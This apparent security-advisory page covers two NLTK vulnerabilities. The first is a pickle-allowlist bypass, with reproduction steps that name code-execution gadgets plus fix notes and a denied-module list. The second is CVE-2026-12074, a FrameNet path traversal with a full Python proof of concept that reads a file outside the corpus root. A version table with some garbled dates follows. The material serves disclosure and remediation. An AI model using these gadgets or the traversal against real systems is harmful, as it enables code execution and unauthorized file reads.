Steps 1. Create a pickle whose REDUCE callable is ReppTokenizer._execute and point its command to a harmless marker-file write. 2. Pass that payload to punkt_pickle_load(BytesIO(payload)) and observe the marker file is created during unpickling. 3. Create a second pickle whose REDUCE callable is numpy.f2py.crackfortran.myeval and load it through TransitionParser.parse(). 4. Observe the second marker file is created before TransitionParser.parse() later fails on the returned object type.

Minimal reproducible excerpt

{'punkt_marker': 'PUNKT_RCE', 'transitionparser_marker': 'TP_RCE'}

Impact

Any caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.

Remediation

Replace broad module-prefix allowlists with exact (module, qualname) pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as nltk.tokenize or numpy, and keep post-load type validation only as a secondary defense.

Resources


Fix + attack demonstration (verified)

  • tightened callers find_class now, before the allowlists:
    1. Rejects any dotted name → closes 4489 with zero legit impact.
    2. Denies dangerous modules (os, subprocess, sys, builtins, numpy.f2py, nltk.tokenize.repp, …) even under a broad allowed_modules — a defense-in-depth backstop so a future too-broad allowlist can't silently reopen RCE.
    3. builtins denied wholesale; safe primitives (int, str, …) must be named exactly via allowed_globals.

Callers tightened: punkt drops the broad nltk.tokenize (keeps nltk.tokenize.punkt + exact collections.defaultdict/builtins.int); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.

Full pickle-sink audit

Every deserialization sink in the tree was reviewed: no raw pickle.load anywhere, and no joblib/numpy/torch/dill/yaml/marshal loaders. data.load + wordnet_app use RestrictedUnpickler (blocks all globals — safe); the remaining pickle_load sites (chartparser_app, tbl/demo) load user-selected or self-written files and keep their warning.

Attack demonstration (captured; fork clone)

=== EXPLOITS blocked ===
  4489 sklearn.os.system (dotted)      -> BLOCKED
  x99w numpy.f2py.crackfortran.myeval  -> BLOCKED
  x99w nltk.tokenize.repp._execute     -> BLOCKED
  backstop os.system (os allowlisted)  -> BLOCKED
  backstop builtins.eval (exact global)-> BLOCKED
=== LEGIT loads still work ===
  punkt round-trip via punkt_pickle_load -> OK
  builtins.int (safe primitive)          -> OK

Tests

test_pickle_allowlist_security.py — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

Published date: 2026-07-31T16:50:41Z
CVE: CVE-2026-12074
Links:

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - doc() — uses the index entry filename field - the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content unexpected: {definition!r}")
            verdict = "INCONCLUSIVE"
    except FramenetError as e:
        # Patched build (#3581): _reject_unsafe_path_component raises before open().
        print(f"\n  [SAFE] FramenetError: {e}")
        print("         traversal rejected before any file was opened (patched)")
        verdict = "NOT VULNERABLE"
    except Exception as e:
        print(f"\n  [SAFE] {type(e).__name__}: {e}")
        verdict = "NOT VULNERABLE"

    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
    print("\n[CONTROL] benign absent name should be 'Unknown frame':")
    try:
        fn.frame("Definitely_Not_A_Frame")
        print("  [?] unexpectedly succeeded")
    except Exception as e:
        print(f"  ok -> {type(e).__name__}: {e}")

    print("\n" + "=" * 59)
    print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
    print("=" * 59)


if __name__ == "__main__":
    main()

Impact

  • Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
  • Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving read any XML file the process can read. Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
  • Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
  • Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
  • Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

70 Other Versions

Version License Security Released
3.10.3 Apache-2.0 2
3.10.2 Apache-2.0 31
3.10.1 Apache-2.0 35
3.10.0 Apache-2.0 36
3.9.4 Apache-2.0 50
3.9.3 Apache-2.0 57
3.9.2 Apache-2.0 65
3.9.1 Apache-2.0 65 1970-01-01 - 00:00 over 56 years
3.9 Apache-2.0 65 1970-01-01 - 00:00 over 56 years
3.8.2 Apache-2.0 66 1970-01-01 - 00:00 over 56 years
3.8.1 Apache-2.0 66 1970-01-01 - 00:00 over 56 years
3.8 Apache-2.0 66 1970-01-01 - 00:00 over 56 years
3.7 Apache-2.0 66 2022-02-09 - 12:40 over 4 years
3.6.7 Apache-2.0 66 2021-12-28 - 23:28 over 4 years
3.6.6 Apache-2.0 66 2021-12-21 - 02:16 over 4 years
3.6.5 Apache-2.0 68 2021-10-11 - 03:49 almost 5 years
3.6.4 Apache-2.0 68 2021-10-01 - 01:58 almost 5 years
3.6.3 Apache-2.0 69 2021-09-20 - 06:00 almost 5 years
3.6.2 Apache-2.0 69 2021-04-20 - 07:42 over 5 years
3.6.1 Apache-2.0 69 2021-04-07 - 21:36 over 5 years
3.6 Apache-2.0 69 2021-04-07 - 10:49 over 5 years
3.5 Apache-2.0 69 2020-04-12 - 23:46 over 6 years
3.4.5 Apache-2.0 69 2019-08-20 - 10:55 about 7 years
3.4.4 Apache-2.0 70 2019-07-04 - 11:09 about 7 years
3.4.3 Apache-2.0 70 2019-06-06 - 17:52 over 7 years
3.4.2 Apache-2.0 70 2019-06-06 - 04:02 over 7 years
3.4.1 Apache-2.0 70 2019-04-17 - 10:48 over 7 years
3.4 Apache-2.0 70 2018-11-17 - 08:04 almost 8 years
3.3 Apache-2.0 70 2018-05-06 - 02:27 over 8 years
3.2.5 Apache-2.0 70 2017-09-24 - 11:36 almost 9 years
3.2.4 Apache-2.0 70 2017-05-20 - 22:49 over 9 years
3.2.3 Apache-2.0 70 2017-05-17 - 20:59 over 9 years
3.2.2 Apache-2.0 70 2016-12-31 - 21:47 over 9 years
3.2.1 Apache-2.0 70 2016-04-09 - 10:06 over 10 years
3.2 Apache-2.0 70 2016-03-03 - 01:12 over 10 years
3.1 Apache-2.0 70 2015-10-15 - 19:51 almost 11 years
3.0.5 Apache-2.0 70 2015-09-06 - 02:51 about 11 years
3.0.4 Apache-2.0 70 2015-07-13 - 01:39 about 11 years
3.0.3 Apache-2.0 70 2015-06-11 - 10:59 over 11 years
3.0.2 Apache-2.0 70 2015-03-13 - 03:43 over 11 years
3.0.1 Apache-2.0 70 2015-01-12 - 23:11 over 11 years
3.0.0 Apache-2.0 70 2015-01-12 - 00:24 over 11 years
3.0.0b2 Apache-2.0 70 2014-08-26 - 00:56 about 12 years
3.0.0b1 Apache-2.0 70 2014-07-11 - 13:32 about 12 years
2.0.5 Apache-2.0 70 2015-01-12 - 22:55 over 11 years
2.0.4 Apache-2.0 70 2015-01-12 - 22:58 over 11 years
2.0.3 Apache-2.0 70 2012-09-24 - 09:34 almost 14 years
2.0.2 Apache-2.0 70 2012-07-05 - 12:08 about 14 years
2.0.1 Apache-2.0 70 2012-05-15 - 04:29 over 14 years
2.0.1rc4 Apache-2.0 70 2012-02-10 - 00:01 over 14 years